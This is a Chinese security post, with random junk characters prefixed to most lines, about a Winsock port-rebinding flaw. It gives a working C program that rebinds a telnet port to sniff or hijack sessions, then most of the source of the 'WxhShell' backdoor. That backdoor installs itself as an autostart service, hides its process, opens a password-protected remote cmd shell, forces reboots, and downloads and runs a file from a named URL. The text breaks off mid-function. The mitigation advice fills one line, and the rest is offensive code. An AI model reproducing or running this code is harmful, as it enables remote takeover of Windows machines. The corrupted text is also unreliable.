在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Coe/ 4!$M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
G#7(6:=;,` ud$-A saddr.sin_family = AF_INET;
E6 -*2U)k+ M
lR~`B}m saddr.sin_addr.s_addr = htonl(INADDR_ANY);
R~k`KuY@! WXY'%G bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
C\GP}:[T3 |50sGJE( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
wqF?o X$ZVY2 这意味着什么?意味着可以进行如下的攻击:
A!B.+p[G 4v hz`1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
u6ULk<<\ ()?83Xj[c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
LsuOmB| ^ J4"Fj, FS 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fyb;*hgu `IUn{I 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
SULFAf< daI_@k Y" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Z%qtAPd 4>>=TJ!M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2.Qz"YDh
= ^0OP&s;" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
bTaKB- }Ze*/p- #include
LD}~] #include
c_D(%Vf5 #include
_b~{/[s #include
SscB&{f DWORD WINAPI ClientThread(LPVOID lpParam);
VE|l;aXi int main()
_V-K yK {
p/HDG
^T:u WORD wVersionRequested;
fx{8ERo DWORD ret;
k~"Eh]38 WSADATA wsaData;
*(F`NJ 3 BOOL val;
WYUDD_m SOCKADDR_IN saddr;
mOsp~|d SOCKADDR_IN scaddr;
Ic0Y int err;
gVOAB-nw SOCKET s;
0<-E)\:[g SOCKET sc;
4\Y5RfLB_ int caddsize;
0+* NHiH HANDLE mt;
pi?MAE*f DWORD tid;
J{1H$[W~} wVersionRequested = MAKEWORD( 2, 2 );
7~mhWPzMwB err = WSAStartup( wVersionRequested, &wsaData );
7#0buXBg if ( err != 0 ) {
a4__1N^Qj printf("error!WSAStartup failed!\n");
U\Wo&giP[ return -1;
tbd=A]B- }
l[38cF saddr.sin_family = AF_INET;
,|({[9jA ){5Nod{}a //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@owneSD qN S'jg#*$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
T$xBH saddr.sin_port = htons(23);
56 3mz- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!wfW0?eu {
qUkMNo3 printf("error!socket failed!\n");
YB5"i9T2 return -1;
$Iwvecn?I }
_F;v3|`D@< val = TRUE;
'BjTo*TB]Z //SO_REUSEADDR选项就是可以实现端口重绑定的
?FQ#I~'< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
XVYFyza; {
@Nek;xJ printf("error!setsockopt failed!\n");
/*mF:40M; return -1;
<OMwi9 }
"<!U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"]+g5G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JL1ajlm~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
WEimJrAn ::|~tLFu if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qz-QVY, {
2X?GEO]/4 ret=GetLastError();
/o;M
?Nt6 printf("error!bind failed!\n");
t<!;shH,s return -1;
j~Aq-8R= }
kOYUxr.b listen(s,2);
w7V\_^&Id while(1)
7Q}pKq]P {
sS>b}u+v#! caddsize = sizeof(scaddr);
%c }V/v_h //接受连接请求
pjWRd_h. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%=`JWLLG if(sc!=INVALID_SOCKET)
kJWg},-\ {
7>JTQ CJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{{?g%mQ6 if(mt==NULL)
ci~#G[_$S {
^`&'u_B!+ printf("Thread Creat Failed!\n");
7zb^Z] break;
b dgkA }
}e?H(nZS7h }
/<J(\;Jr6 CloseHandle(mt);
;o_F<68QP }
!(GyOAb closesocket(s);
nI\6aG?` WSACleanup();
Y}:~6`-jj return 0;
k{}> *pCU }
9P?0D DWORD WINAPI ClientThread(LPVOID lpParam)
pM?;QG;jA {
JE?rp1. SOCKET ss = (SOCKET)lpParam;
jx: IK SOCKET sc;
$9)os7H7 unsigned char buf[4096];
jf~](TK SOCKADDR_IN saddr;
y6XOq> long num;
WAa45G DWORD val;
)U@9dV7u DWORD ret;
utlr|m Xc //如果是隐藏端口应用的话,可以在此处加一些判断
u\]EG{w( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!_S#8" saddr.sin_family = AF_INET;
~||0lj.D saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~KBa-i%o saddr.sin_port = htons(23);
kA:mB;: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v/+ <YU {
Re$h6sh printf("error!socket failed!\n");
aSzI5J]/= return -1;
-NBVUUAgN }
RY , <* val = 100;
.H" ?&Mf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
AUnfhk@$ {
xE/?ncTK^ ret = GetLastError();
3gA %Q`" return -1;
2c `m= }
Pq;OShU_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
SH%NYjj {
2}hJe+#v ret = GetLastError();
Ipp_}tl_ return -1;
R'>!1\?Iq }
ON :t"z5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
sh<Q2X
{
IPQRdBQ printf("error!socket connect failed!\n");
a>wCBkD closesocket(sc);
6_CP?X+T closesocket(ss);
Npp YUY return -1;
?:(y }
=8AT[.Hh while(1)
Nu5|tf9%A {
%5o2I_Cjz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
pRd.KY -< //如果是嗅探内容的话,可以再此处进行内容分析和记录
yPN '@{ 5# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I652Fcj num = recv(ss,buf,4096,0);
^/f~\#R if(num>0)
)GD7rsC`< send(sc,buf,num,0);
&d_^k.%y else if(num==0)
WR;1 break;
cU1o$NRx num = recv(sc,buf,4096,0);
LP2~UVq if(num>0)
[h/T IGE\ send(ss,buf,num,0);
\TQZZ_Z else if(num==0)
@- U\!Tf break;
$%bSRvA }
l/.{F ;3F closesocket(ss);
EL 5+pt closesocket(sc);
J<$@X JLS return 0 ;
ARH~dN* C }
w0Qtr>" ,;k+n) O'<V[Y}6 ==========================================================
O)'CU1vMb )(iv#;ByL 下边附上一个代码,,WXhSHELL
#N|\7(#~u OF-k7g7 ==========================================================
g`Z=Y7jLH RRL{a6(? #include "stdafx.h"
u` pTFy VY?9|};f #include <stdio.h>
c+Q'4E0| #include <string.h>
T &ZQie/ #include <windows.h>
dWAt#xII #include <winsock2.h>
5ZCu6A #include <winsvc.h>
CIudtY(: #include <urlmon.h>
NR4+&d w,UE0i9I #pragma comment (lib, "Ws2_32.lib")
JJ: ku&Mb #pragma comment (lib, "urlmon.lib")
h4Crq Yxa_ $y(;"hy #define MAX_USER 100 // 最大客户端连接数
Obs#2>h #define BUF_SOCK 200 // sock buffer
M\ATT%b: #define KEY_BUFF 255 // 输入 buffer
{,>G 1>Yv \DB-2*a" #define REBOOT 0 // 重启
3I6ocj[, #define SHUTDOWN 1 // 关机
}vndt*F
s8h*nZ)v #define DEF_PORT 5000 // 监听端口
<b 5DX Aoe\\'O|V #define REG_LEN 16 // 注册表键长度
F/5&:e?( ) #define SVC_LEN 80 // NT服务名长度
:eN&wQ5q _$~>O7 // 从dll定义API
7J'%;sH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0At0`Q# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@8d 3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
c6h?b[] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
inut'@=G/ 5'2kP{; // wxhshell配置信息
KC/O
EJ` struct WSCFG {
9YzV48su# int ws_port; // 监听端口
#;[G>-tC char ws_passstr[REG_LEN]; // 口令
H 4<"+7 int ws_autoins; // 安装标记, 1=yes 0=no
@N*|w
Kc+ char ws_regname[REG_LEN]; // 注册表键名
TnrBHaxbo4 char ws_svcname[REG_LEN]; // 服务名
;mQj2Bwr char ws_svcdisp[SVC_LEN]; // 服务显示名
A5<t> 6Y char ws_svcdesc[SVC_LEN]; // 服务描述信息
_CwTe=K} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
at uqo3 int ws_downexe; // 下载执行标记, 1=yes 0=no
9&+]YYCS- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
K<S3gb?0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
n`Q@<op <BR^Dv07U };
}(EH5jZ' VotC YJ // default Wxhshell configuration
DiFLat]X struct WSCFG wscfg={DEF_PORT,
9+ 'i(q
z "xuhuanlingzhe",
Lqgrt]L_" 1,
-TUJ"ep]QJ "Wxhshell",
!KHgHKEW^ "Wxhshell",
uibmQ|AQ "WxhShell Service",
XKp&GE@Y "Wrsky Windows CmdShell Service",
MAh1tYs4D "Please Input Your Password: ",
I)rnF 1,
qng ~,m "
http://www.wrsky.com/wxhshell.exe",
a5*r1, "Wxhshell.exe"
ImXYI7PL };
4fLRl-) \xYVnjG, // 消息定义模块
hD6BP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dNACE*g;q char *msg_ws_prompt="\n\r? for help\n\r#>";
lF}[ YL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nY'V,v[F char *msg_ws_ext="\n\rExit.";
J1w;m/oV char *msg_ws_end="\n\rQuit.";
/\mtCa.O char *msg_ws_boot="\n\rReboot...";
zv]ZEWVzc char *msg_ws_poff="\n\rShutdown...";
QiK>]xJ' char *msg_ws_down="\n\rSave to ";
qTsy'y;Z zdN[Uc+1Bd char *msg_ws_err="\n\rErr!";
b:==:d:0s char *msg_ws_ok="\n\rOK!";
65EMB% 0 QTI;3 char ExeFile[MAX_PATH];
YT(N][V int nUser = 0;
rT2Njy1 HANDLE handles[MAX_USER];
xo>0j# int OsIsNt;
Ho &Q}<( mxNd_{n SERVICE_STATUS serviceStatus;
K%q5:9m SERVICE_STATUS_HANDLE hServiceStatusHandle;
rc_m{.b
M @5&. // 函数声明
QLqtE;;)JK int Install(void);
?=1eHnP!R int Uninstall(void);
qb>ULP0 int DownloadFile(char *sURL, SOCKET wsh);
r:*G{m- int Boot(int flag);
zxR]+9Zh void HideProc(void);
j=r1JV
@ int GetOsVer(void);
;aQ``B int Wxhshell(SOCKET wsl);
_ *f>UW*, void TalkWithClient(void *cs);
@*z"Hi>4 int CmdShell(SOCKET sock);
KC;cu%H int StartFromService(void);
,s8/6n# int StartWxhshell(LPSTR lpCmdLine);
+_GS@)L`% 3^8Cc(bk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4]o+)d.`( VOID WINAPI NTServiceHandler( DWORD fdwControl );
-.Wcz| W!{RJWe // 数据结构和表定义
-S$F\% SERVICE_TABLE_ENTRY DispatchTable[] =
Xa`Q;J"h {
7^dr[.Q[* {wscfg.ws_svcname, NTServiceMain},
tZ_'>7) {NULL, NULL}
ale'-V)5 };
wQ33Gc \<{a=@_k9 // 自我安装
.psb#4 int Install(void)
ACRuDY {
s%)f<3=a char svExeFile[MAX_PATH];
;Y7'U rn HKEY key;
#Y7jNrxE strcpy(svExeFile,ExeFile);
~[;r)
g\ V}y]< // 如果是win9x系统,修改注册表设为自启动
sT^R0Q'> if(!OsIsNt) {
(`(D
$% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J[ZHAnmPH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:nx+(xgw RegCloseKey(key);
L
FWp}#% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^{M$S0g|N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4=Th<,< RegCloseKey(key);
t;* zr* return 0;
(*S<2HN5 }
Am,{Fj }
1T!o`* }
A
\/~u"Y else {
s"jvO>[ M}8P _<, // 如果是NT以上系统,安装为系统服务
#9,8{ O" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g+#<;Gbpe if (schSCManager!=0)
h>pu^ `hk {
Xg dBLb SC_HANDLE schService = CreateService
/4x\}qvU (
[F6)Z[uG schSCManager,
'K7\[if{ wscfg.ws_svcname,
En\@d@j<u wscfg.ws_svcdisp,
M<-Q8a~ SERVICE_ALL_ACCESS,
;,77|]<XE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Y 9$jJ1V SERVICE_AUTO_START,
UarLxPQ SERVICE_ERROR_NORMAL,
T]th3* svExeFile,
'+9<[] NULL,
DzVCEhf NULL,
VrIN.x NULL,
HV a9b; NULL,
V0;"Qa@q NULL
7_\G|Zd );
^lp=4C9 if (schService!=0)
Q.N!b7r7 {
N<Sl88+U CloseServiceHandle(schService);
a>47k{RSzE CloseServiceHandle(schSCManager);
m.lR]!Y=w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
oJa}NH
strcat(svExeFile,wscfg.ws_svcname);
2 7)IfE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
505c(+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
a2P)@R RegCloseKey(key);
NjIPHM$g return 0;
=Kj{wA
O }
B $u/n }
_=HaE&
CloseServiceHandle(schSCManager);
71{Q#%5U~ }
~Dt$}l-9 }
%9cT#9!7 SH)-(+72d return 1;
wUaWF$~y }
,5W7a 8?Rp2n*o // 自我卸载
v]EMJm6d| int Uninstall(void)
_Q+c'q Zkl {
8H7#[?F HKEY key;
L\#YFf Up@^C" if(!OsIsNt) {
eha|cAq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+u|"q+p RegDeleteValue(key,wscfg.ws_regname);
Jl_W6gY"Z RegCloseKey(key);
L6h<B
:l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g+B7~Z5, RegDeleteValue(key,wscfg.ws_regname);
r^5%0_F] RegCloseKey(key);
8i',~[ return 0;
p8'$@:M\ }
qur2t8gnxq }
lie,A }
f#z:ILG= else {
Ch]d\G M e@P(+.Ke SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~cc }yDe if (schSCManager!=0)
Y"lEMY {
PhyIea SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
rt^~
I\V if (schService!=0)
BL&AZv/T {
N**)8( if(DeleteService(schService)!=0) {
`df!-\# CloseServiceHandle(schService);
3CD#OCz7& CloseServiceHandle(schSCManager);
),yar9C return 0;
e|oMbTZ5m }
{D[6=\F CloseServiceHandle(schService);
)#i@DHt= }
>ZJ]yhbhK CloseServiceHandle(schSCManager);
8&U
Mmbgy }
xf&[QG+Ef }
Mp/l*"( w=#'8ZuU return 1;
sJZ2e6?n }
].s;Yxz >B6*`3v // 从指定url下载文件
lk>\6o: int DownloadFile(char *sURL, SOCKET wsh)
]EKg)E {
[gT}<W HRESULT hr;
JU17]gQ char seps[]= "/";
i.^ytbH char *token;
Rq|6d
M6H char *file;
loIb}8 char myURL[MAX_PATH];
a <C?- g| char myFILE[MAX_PATH];
JOuyEPy opH!sa@U strcpy(myURL,sURL);
Lf((
zk:pt token=strtok(myURL,seps);
3RaW\cWzg while(token!=NULL)
_^W;J/He {
;qaPK2a8 file=token;
nF'YG+;|@ token=strtok(NULL,seps);
P!]uJ8bi }
,]EhDW6 F` 7v GetCurrentDirectory(MAX_PATH,myFILE);
l:'#pZ4T strcat(myFILE, "\\");
0!,uo\` strcat(myFILE, file);
=.z;:0]'n send(wsh,myFILE,strlen(myFILE),0);
Wxj_DTi[1" send(wsh,"...",3,0);
j{lurb)y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%M`48TW) if(hr==S_OK)
Fq~uuQ return 0;
v \i"-KH else
OTF/Pu$ return 1;
wF`Y
,@ *b>RUESF }
`,6|6.8# 9^F3r]bH // 系统电源模块
qHZDo[ int Boot(int flag)
s|WwBT {
P] *x6c^n HANDLE hToken;
U>lf-iI2B TOKEN_PRIVILEGES tkp;
8)>x) T @ZU$W9g if(OsIsNt) {
9:p-F+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Aax;0qGbH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l~"T>=jq3 tkp.PrivilegeCount = 1;
KAnV%j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jh/,G5RM9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
BP9#}{kE if(flag==REBOOT) {
%rb$tKk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9nN1f@Y return 0;
36{GZDGQ }
>[Vc$[62 else {
;p+'?%Y} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
To(I<W|{ return 0;
:\|A.#
U }
GqHW.s5 }
5hmfdj6 else {
\'Ae,q|w if(flag==REBOOT) {
0Ncpi=6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
@e<(o
UE return 0;
k4iiL<| }
yU!1q}L! else {
G$f%]A1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
I4"p]>Y" return 0;
qS\#MMsTd }
kL1<H%1' }
?5EH/yV; =|-=4.b+| return 1;
l^	d }
B,\VLX t}eyfflZ // win9x进程隐藏模块
] :;x,$k void HideProc(void)
K ~mUO {
aG]>{(~cL pA*C|g
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
rD=D.1_
if ( hKernel != NULL )
-g~+9/;n {
.f_
A% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_nqnO8^IG4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?zBu`7j FreeLibrary(hKernel);
c9nR&m8(+ }
'O(=Pz Gt.'_hf Js return;
wNHn. }
Fs~(>w@ ?:wb#k)Z/ // 获取操作系统版本
gQr+~O int GetOsVer(void)
r+ bGZ {
-~{Z*1`, OSVERSIONINFO winfo;
O#U maNj/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
."+lij=56 GetVersionEx(&winfo);
~gpxK{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Kd-1EU return 1;
-qj[ck(y else
rk8pL[| return 0;
N;
}$!sNIm }
ZwDL lfj5?y // 客户端句柄模块
[@Ac# int Wxhshell(SOCKET wsl)
w6s[|i)& {
8vVE SOCKET wsh;
q2X::Yqk struct sockaddr_in client;
w1G(s$;C DWORD myID;
T2Yf7Szp 4Et(3[P71 while(nUser<MAX_USER)
a|FkU%sjzZ {
5e+j51 int nSize=sizeof(client);
Q!P%duO wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6axxyh% if(wsh==INVALID_SOCKET) return 1;
\!\:p/f 0 SSdp< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
b11I$b
# if(handles[nUser]==0)
K[y")ooE<j closesocket(wsh);
vR\E;V else
R@K\ nUser++;
D<J'\mo }
8lV:-"+5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
t.ulG
* K+`GVmD return 0;
NTt4sWP!I }
ipn-HUrE@ sYS
8]JU // 关闭 socket
#p(c{L! void CloseIt(SOCKET wsh)
t,9+G<)>H {
2V@5:tf closesocket(wsh);
*5PQ>d
G nUser--;
naaKAZ!S ExitThread(0);
YcA. Bn|as }
%k#+nad b23A&1X // 客户端请求句柄
n 0=]C%wr void TalkWithClient(void *cs)
"0!h-bQN {
yF)J7a:U zjUQ] SOCKET wsh=(SOCKET)cs;
9Rk(q4.OP char pwd[SVC_LEN];
>.qFhO\1so char cmd[KEY_BUFF];
iLnW5yy char chr[1];
i?/Q7D<P int i,j;
+S{m!j%B zls^JTE while (nUser < MAX_USER) {
zdwQpB,+^ @m5J%8>k if(wscfg.ws_passstr) {
WVeNO,?ytS if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!kSemDC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]S%_&ZMCM //ZeroMemory(pwd,KEY_BUFF);
5&8BO1V. i=0;
''9]`B,:a0 while(i<SVC_LEN) {
G%s O{k7 edMCj // 设置超时
GUu8 N fd_set FdRead;
\)dp struct timeval TimeOut;
oSrA4g FD_ZERO(&FdRead);
,?yjsJd. FD_SET(wsh,&FdRead);
f4p*!e TimeOut.tv_sec=8;
0Ye/ TimeOut.tv_usec=0;
0hoMf=bb$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c6F?#@? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=u2~=t=LV |>(Vo@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Wq3PN^ pwd
=chr[0]; h^(U:M=A
if(chr[0]==0xd || chr[0]==0xa) { ={xRNNUj_
pwd=0; "#E
Z
break; #+o$Tg
} LhAN( [
i++; K ar!
} p1'q{E+o*
V30w`\1A
// 如果是非法用户,关闭 socket D N!V".m`J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uM$b/3%s
} Gs~eRcIB
#MYoy7=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i]<@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m u9,vH
fL|9/sojz
while(1) { Ct `)R
O h
e^{:
ZeroMemory(cmd,KEY_BUFF); DTC
IVLV
{qHQ_ _Bl
// 自动支持客户端 telnet标准 Zw)=Y.y!
j=0; )vq}$W!:9
while(j<KEY_BUFF) { $@6q5Iz!&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bDDP:INm.
cmd[j]=chr[0]; Y"t|0dO%b
if(chr[0]==0xa || chr[0]==0xd) { dXDyY
cmd[j]=0; q2xAx1R`sV
break; <,DMD
} t?&;
j++; aO$0[-A
} 7a_8007$l
imADjBR]
// 下载文件 1CJ1-]S(3
if(strstr(cmd,"http://")) { Lf9s'o}.R
send(wsh,msg_ws_down,strlen(msg_ws_down),0); z2V ->UK)
if(DownloadFile(cmd,wsh)) ^N7cX K*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2XyyU}.$
else Bj{J&{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z>+CMH5L)
} F
lVG, Z
else { M5*Ln-qt(a
"
:e
<a?
switch(cmd[0]) { w)<.v+u.Y
=,*/Ph&
// 帮助 . ?#Q(eLj
case '?': { \0lQ1FrY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L__{U_p
break; -5e8m4*
} L2Cb/!z`c
// 安装 0>m$e(Z
case 'i': { al Rz@N
if(Install()) MA{ZmPm)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I[A<e]uK
else nEUH; z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r!w4Br0
break; PM@_ZJ'x
} [6K[P3UZx
// 卸载 |9i[*]
case 'r': { 9k93:#{WE
if(Uninstall()) Lwtp,.)pR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I5j|\ /Ht
else `!X8Cn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~rrl"a>
break; "$5cKbJ
} QX?moW6UW
// 显示 wxhshell 所在路径 y z3=#
case 'p': { ^VzhjKSu
char svExeFile[MAX_PATH]; w?_'sP{pd
strcpy(svExeFile,"\n\r"); fvta<
strcat(svExeFile,ExeFile); , MqoX-+
send(wsh,svExeFile,strlen(svExeFile),0); rLeQBp'
break; ;|\j][A
} nIOSP:'>
// 重启 Z[!kEW
case 'b': { bOYM-\
{y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n2o)K;wW+
if(Boot(REBOOT)) NHU5JSlB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y:zNf?6&
else { B !x6N"
closesocket(wsh); ,WsG,Q(K
ExitThread(0); guCCu2OTA%
} ?1|\(W#
break; g9Dynm5
} >BJBM |
// 关机 wg
k[_i
case 'd': { ',+Zqog92
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sc-+?i
if(Boot(SHUTDOWN)) !F?j'[s8]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <2O#!bX1
else { y'6l fThT
closesocket(wsh); *k&V;?x|wt
ExitThread(0); y]! #$C /
} Lf.Ia*R:
break; >C{8}Lg-.
} 6*1f -IbV
// 获取shell CE
(zt
case 's': { +u |SX/C
CmdShell(wsh); lP4s"8E`h
closesocket(wsh); g^:`h
VV
ExitThread(0); RHd no C
break; 5%K|dYv^^
}
!Qsjn
// 退出 b5~p:f-&4B
case 'x': { iu0'[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]T40VGJ:h
CloseIt(wsh); u!HbS*jqq
break; O<AGAD
} <v\$r2C*
// 离开 wqjR-$c
case 'q': { r~|7paX!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^\S~rW.3_
closesocket(wsh); H7drDw
WSACleanup(); M`iE'x
exit(1); Q`O~ f<a
break; bO('y@)X
} );S8`V
} b"Nd8f[
} `.~*pT*u
0<<ATw$aQ
// 提示信息 9%Vy,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _9=cxwi<w
} !u:;Ew
} all2?neK
([SJ6ff]&
return; ,1t|QvO
} 2/F8kVx{
+~1FKLu
// shell模块句柄 A58P$#)?
int CmdShell(SOCKET sock) `Um-Y'KE
{ /,<s9
:
STARTUPINFO si; p?
w^|V
ZeroMemory(&si,sizeof(si)); Ai:,cY5%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -U7,~z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^P.U_2&
PROCESS_INFORMATION ProcessInfo; ".pQM.T
char cmdline[]="cmd"; VV[Fb9W ;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *6}'bdQbNP
return 0; 5+b73R3r
} 1<Uv4S
}QCn>LXE
// 自身启动模式 X-CoC
int StartFromService(void) N]ebKe
{ 8"[{[<-
typedef struct y\9#"=+
{ E
KJ2P$
DWORD ExitStatus; w}97`.Kt!n
DWORD PebBaseAddress; {XC[Ia6jtL
